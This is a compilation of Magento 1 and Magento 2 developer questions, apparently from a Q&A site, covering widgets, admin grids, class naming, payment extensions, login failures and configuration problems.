I want to extend the Luma Theme Catalog Category Link widget to include the category image.

I have create my own version of the link_block.phtml file and it is working, but I am not sure how to get access to the Category Image?

When I add this code I get the following error and it is because the Widget/Link.php doesn't have a function to get the image but how do I add it?

This is added to link_block.phtml;

<?php
    $_helper    = $this->helper('Magento\Catalog\Helper\Output');
    $_category  = $block->getCurrentCategory();
    $_imgHtml   = '';
    if ($_imgUrl = $_category->getImageUrl()) {
        $_imgHtml = '
escapeHtml($_category->getName()) . '" title="' . $block->escapeHtml($_category->getName()) . '" class="image" />
';
        $_imgHtml = $_helper->categoryAttribute($_category, $_imgHtml, 'image');
        /* @escapeNotVerified */ echo $_imgHtml;
    }
?>

and then i get this error;

Fatal error: Call to a member function getImageUrl() on null in /home/crabapp1/hire/app/design/frontend/CrabApple/default/Magento_Catalog/templates/category/widget/link/link_block.phtml on line 14


texts: Add Customer name to my custom collection

texts:
I've a custom Model, with user_entity_id on database (it's creator of object). But I need to display customer name on admin grid (not customer ID) - an on other place.

Think I need to add some code on _beforeLoad function of my custom Collection, but don't find wich code can do this..

Do you have an idea ?

Thanks in advance


texts: Magento2.2.3 - Create order from admin panel with credit card payment method

texts:
I want to create order with credit card payment method from Magento2 admin panel.

Magento2 can't display payment method in the backend.

How can I solve this?


texts: Magento 2 best practice for class locations and names

texts:
In Magento 1 we were used to place our classes in these directories

Block
Helper
Model
Resource

and use a simple class name without any capital letters in the middle of the name.

If we take a look at some cases in Magento 2 Core

Helpers

Location:
- \Foo\Bar\Helper
Name:
- *.php
Examples:
- \Magento\ImportExport\Helper\Report
- \Magento\Cms\Helper\Wysiwyg\Images

Observers

Location:
- \Foo\Bar\Observer
Name:
- *.php
- *Observer.php
Examples:
- \Magento\CustomerCustomAttributes\Observer\SalesOrderAddressAfterLoad
- \Magento\CustomerBalance\Observer\ProcessBeforeOrderPlaceObserver

Plugins

Location:
- \Foo\Bar\Plugin
Name:
- *.php
- *Plugin.php
Examples:
- \Magento\Catalog\Plugin\Block\Topmenu
- \Magento\PageCache\Model\App\FrontController\BuiltinPlugin
Source: http://devdocs.magento.com/guides/v2.0/extension-dev-guide/plugins.html#declaring-a-plugin

ConfigProvider

Location:
- \Foo\Bar\Model
Name:
- *ConfigProvider.php
Examples:
- \Magento\Tax\Model\TaxConfigProvider
- \Magento\Payment\Model\IframeConfigProvider

My questions are :

If there is any good / bad / best practices for that in Magento 2 ?
If I want to create a custom DataProvider for example what it will be ?

\Foo\Bar\Provider\CustomDataProvider
\Foo\Bar\DataProvider\Custom
\Foo\Bar\Model\Provider\CustomDataProvider
\Foo\Bar\Helper\Provider\CustomDataProvider

How to determine the construction of the class name and location, a folder at the root of the module, in Model, in Helper, etc?
Does it depends on retrieved data source / data type ?
When do we have to add the suffix to the class name ?

A part of a response for the Virtual Types : https://community.magento.com/t5/Magento-DevBlog/Virtual-Types-Naming-Convention/ba-p/61510


texts: Magento 2 - Admin Icons won't load + backend not functional

texts:
My backend won't load properly.  How can I get it to do this?

Magento 2.0.7 on local MAMP install.
Have cleared pub/static and the di/*
Using Grunt to compile my LESS commands by 'Grunt watch'

Previously did, "grunt clean", "grunt exec", "grunt less" and then "grunt watch".  Compiled all of the LESS files

Running "less:blank" (less) task
File pub/static/frontend/Magento/blank/en_US/css/styles-m.css created: 278.18 kB → 480.04 kB
File pub/static/frontend/Magento/blank/en_US/css/styles-l.css created: 72.4 kB → 125.05 kB
File pub/static/frontend/Magento/blank/en_US/css/email.css created: 6.87 kB → 12.92 kB
File pub/static/frontend/Magento/blank/en_US/css/email-inline.css created: 9.98 kB → 18.52 kB

Running "less:luma" (less) task
File pub/static/frontend/Magento/luma/en_US/css/styles-m.css created: 327.89 kB → 563.37 kB
File pub/static/frontend/Magento/luma/en_US/css/styles-l.css created: 97.12 kB → 165.89 kB

Running "less:backend" (less) task
File pub/static/adminhtml/Magento/backend/en_US/css/styles-old.css created: 175.36 kB → 286.23 kB
File pub/static/adminhtml/Magento/backend/en_US/css/styles.css created: 333.99 kB → 549.53 kB

Running "less:setup" (less) task
>> Destination setup/pub/styles/setup.css not written because no source files were found.

Running "less:updater" (less) task
>> Destination ../magento2-updater/pub/css/updater.css not written because no source files were found.

Running "less:documentation" (less) task
File lib/web/css/docs/docs.css created: 200.39 kB → 341.99 kB


texts: Display number of orders in customer grid

texts:
I want to display the total of order for each customer, in the customer grid (Back Office).

Currently, I succeed to display the total, only if there is at least 1 order.

In _prepareCollection() :

$readAdapter = Mage::getSingleton('core/resource')->getConnection('core_read');
$select = $readAdapter->select()
    ->from('sales_flat_order_grid')
    ->columns(array('orders_count' => new Zend_Db_Expr('COUNT(*)'))
        )->group('customer_id');
$collection->getSelect()->joinLeft(
    array('orders_count' => new Zend_Db_Expr('('.$select.')')),
    'e.entity_id = orders_count.customer_id',
    array('orders_count.orders_count')
);
$collection->addFilterToMap('orders_count', 'orders_count.orders_count');
$this->setCollection($collection);

In _prepareColumns(), I added the custom column :

$this->addColumn('orders_count', array(
    'header'    => Mage::helper('customer')->__('Total nb of orders'),
    'width'     => '40px',
    'index'     => 'orders_count',
    'type'      => 'number',
    'sortable'  => false,
    'filter_condition_callback' => array($this, '_ordersCountFilterCallBack')
));

I can force the displaying of 0 by add 'default' => '0' in my column but it's not that I want : In my _ordersCountFilterCallBack function, I want to be allow to filter orders_count.orders_count == 0 and not orders_count.orders_count IS NULL.

Any idea ?


texts: Extending Core Controller without Custom Module

texts:
I want to extend a core controller:

app\code\core\Mage\Adminhtml\controllers\CustomerController.php

I simply want to customise the one of the functions. I have created the following file:

app\code\local\Mage\Adminhtml\controllers\CustomerController.php

My class is as follows:

class Mage_Adminhtml_CustomerController extends Mage_Adminhtml_CustomerController

All of the examples I have found similar to this metion the need to add an entry into my config.xml. But in my case this is not part of a cutom module since it is in the dir which mirrors the core - in local.

I simply want the customer controller to execute as well as my entension of it. If I add a die() in my extended controller class it doesn't fire. I have flushed the cache and logged out and back into admin.

What am I doing worng?


texts: How to get all subcategories ids of specific category id in magento 2

texts: How to get all subcategories ids of specific category id in magento2


texts: Saving data to session using Magento observer function

texts:
Is it possible to store data in the Magento session or registry using the the observer function, with:

Mage::getSingleton('core/session')->setFoo('bar'); //Or 'customer/session', 'admin/session'

Or

Mage::register('foo', 'bar');

I tried to add

sesson_write_close();

But only managed to read session data.


texts:
I have an old and a new magento installation(same version). Both are using the same mysql user and password. I'm trying to copy a few tables from the old one to the new one(trough SSH - using Putty):

INSERT INTO magento_n.eav_entity_store SELECT * FROM magento_o.eav_entity_store;

It worked for a few tables but for this table i get this error:

ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`magento_n`.`eav_entity_store`, CONSTRAINT `FK_EAV_ENTITY_STORE_STORE_ID_CORE_STORE_STORE_ID` FOREIGN KEY (`store_id`) REFERENCE `core_store` (`store_id`) ON DELETE CASCADE ON UPDATE)

I do not understand this error(i have a table called core_store that has two records one has the id 0 the other one has the id 1). What should/can i do in this case?

Thank you! :D


texts: How to tell where the collection is being changed?

texts:
On the category page getLoadedProductCollection is returning the wrong number of products. Specifically, the tool bar says there should be ~180 products, but $_collection->count() is returning 1 and the foreach $_collection is showing only one product (Cool Gym Bag).

Is there a way of working out what modules are being used to modify the collection?
I've tried using debug_print_backtrace(0, 10); but the website 500'd.


texts: Which is the best way to create Magento 2 Payment extension?

texts:
I want to create a Magento 2 Payment extension. But the thing is which is the best method to create a Payment extension out of below two methods.

Magento 2 Payment Gateway API
Default Magento\Payment\Model\Method\Cc

Magento says Magento\Payment\Model\Method\Cc class is depreciated in Magento 2.2.X versions, but still, Authorize.Net direct payment is using it.

So, please help me to find out the best method.

Thanks


texts: Admin login is not working, customer login is working - Magento 2.3

texts:
I have a first install of the opensource 2.3 version with demo data.
Everything seems to be working in the public facing pages, but I can't login as Admin. The demo customer login is fine.

I don't get anything in the error logs, the message returned is "The account sign-in was incorrect or your account is disabled temporarily. Please wait and try again later."

The user isn't locked.

It seems to blow up in the function at line 568 of

vendor/magento/module-customer/Model/AccountManagement.php
 function authenticate($username, $password)

But i'm not sure how to follow it after that.


texts: Allow non customers (anyone) to add product tags

texts:
Currently when anyone tries to add/write product tags onto a product, if they are not a customer it forces them to login or register.

Is there a way I can bypass this check and allow anyone to add product tags and ideally auto approve them so they don't go into the pending section?


texts: Magento 1.9 add custom button in admin order grid page

texts:
i need to add a custom button on admin sales order grid page like this:I'm trying to create a module for this using this code in my config.xml file:

   <adminhtml>
        <events>
            <adminhtml_widget_container_html_before>
                <observers>
                    <crononline>
                        <class>crononline/observer</class>
                        <method>addNewButton</method>
                        <type>singleton</type>
                    </crononline>
                </observers>
            </adminhtml_widget_container_html_before>
        </events>
    </adminhtml>

and then add button by observer in this way

public function addNewButton($observer)
{
    $container = $observer->getBlock();
    if(null !== $container && $container->getType() == 'adminhtml/sales_order') {
        $data = array(
            'label'     => 'My button',
            'class'     => 'some-class',
            'onclick'   => 'setLocation(\' '  . Mage::getUrl('*/*', array('param' => 'value')) . '\')',
        );
        $container->addButton('my_button_identifier', $data);
    }

    return $this;
}

but with no luck.Any help?


texts:
How to find out the home page url in sitemap generated url....

I have created site map in magento2.2.4.

I want to customize homepage url.But that url does not display in sitemap generated url.

How to find out homepage url in the sitemap


texts: PHP - Recommended Configuration for Magento2

texts:
I'm using php 7.0.17 and I was wondering if anyone would let me know what the recommended configuration for the php.ini file was. I would like to see the complete recommended php.ini file with all settings. I'm using magento 2.1.6 and I have been given various information from different people but here is my current configuration:

max_execution_time = 18000
max_input_time = 300
memory_limit = 50000M
precision = 14
output_buffering = 4096
zlib.output_compression = On
zlib.output_compression_level = -1


texts: How to get newsletter subscribers email id in transactional email templates in magento 1.9

texts: I want to access newsletter subscribers email id in transactional email templates, how to access that?


texts: Magento 2 Get all product images in on product list page

texts:
In Magento 1 I've always used

$_product->getMediaGallery('images')

But in the source from Magento 2 I see

$productImage = $block->getImage($_product, $image);
echo $productImage->toHtml();

It's only getting the first product image. How do I get the second or third image (not only the base one)?

GetMediaGallery function doesn't exists?

Update:
$_product->getMediaGalleryImages() throws NULL in a var_dump

and

for getMediaGallery and getMediaGalleryEntries I get the same notice error:

Undefined property: Magento\Catalog\Model\Product\Interceptor::$getMediaGallery


texts: Extensions active, but no longer visible in magento connect

texts:
Since upgrading Magento from 1.7 to 1.9 (and enabling MultiStore in the process), I can no longer see extensions in magento connect, yet they are enabled. These extensions were indeed installed using Magento Connect before the upgrade.

These Extensions are located in /app/code/community

I have tried clearing cache, and reindexed database to no avail


texts: Site breaks when trying to disable cache on dev site

texts:
My dev site is an exact clone of my live site (barring the local.xml file to make the dev site talk to the cloned database), hosted under a separate domain name on the same web server.

When I try to disable the cache on the dev site, I am getting this error:

  Fatal error: Allowed memory size of 1073741824 bytes exhausted (tried
  to allocate 65552 bytes) in
  /home/devsite/public_html/lib/Zend/Locale/Data.php on line 1615

This is fairly unhelpful in determining what the root cause of this issue is. Nothing seems to appear in any log files, so I am fairly stumped as to what is causing this problem - and only on the development site?

I have flushed cache storage and sessions via SSH, and also cleared out all log tables in the dev copy of the database.

Can anyone shed any light on what is causing this issue?


texts:
I want to add tooltip text to My account and shopping cart link on header
See https://prnt.sc/r6r331